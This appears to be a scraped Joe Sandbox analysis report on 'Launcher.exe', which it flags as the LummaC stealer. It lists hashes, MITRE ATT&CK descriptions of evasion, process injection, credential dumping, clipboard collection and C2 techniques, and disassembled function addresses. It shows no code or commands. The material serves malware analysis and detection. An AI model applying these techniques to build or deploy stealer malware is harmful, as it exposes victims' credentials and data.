Associated: 00000003.00000002.2300596949.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_Launcher.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 2b7f9347bb7ccd960ba211c5f026e36b24fd979e12f3f4a9af94d7ee7f4dadb3
Instruction ID: 8e62afe8f310f17c0be8f86bce747a4b7be3ec9a31038512136fcd8541681236
Opcode Fuzzy Hash: 2b7f9347bb7ccd960ba211c5f026e36b24fd979e12f3f4a9af94d7ee7f4dadb3
Instruction Fuzzy Hash: 7531E476A20216EBCF2E8F50CC4496A7B65FF29715B18865AF8544E121C373CC72DB81

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Launcher.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
Launcher.exe

Function 0026018D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 0023A050 Relevance: 13.9, APIs: 6, Strings: 1, Instructions: 1601
fileCOMMON

Function 00238190 Relevance: 2.8, Strings: 1, Instructions: 1555
COMMON

Function 0024EDF3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 0024BD06 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Function 0024C00F Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 002491E6 Relevance: 3.1, APIs: 2, Instructions: 93
COMMONLIBRARYCODE

Function 0024F752 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 0024BE20 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Function 002500EB Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 00246E20 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Function 0024EEBE Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Function 0023DE10 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Function 00250C65 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE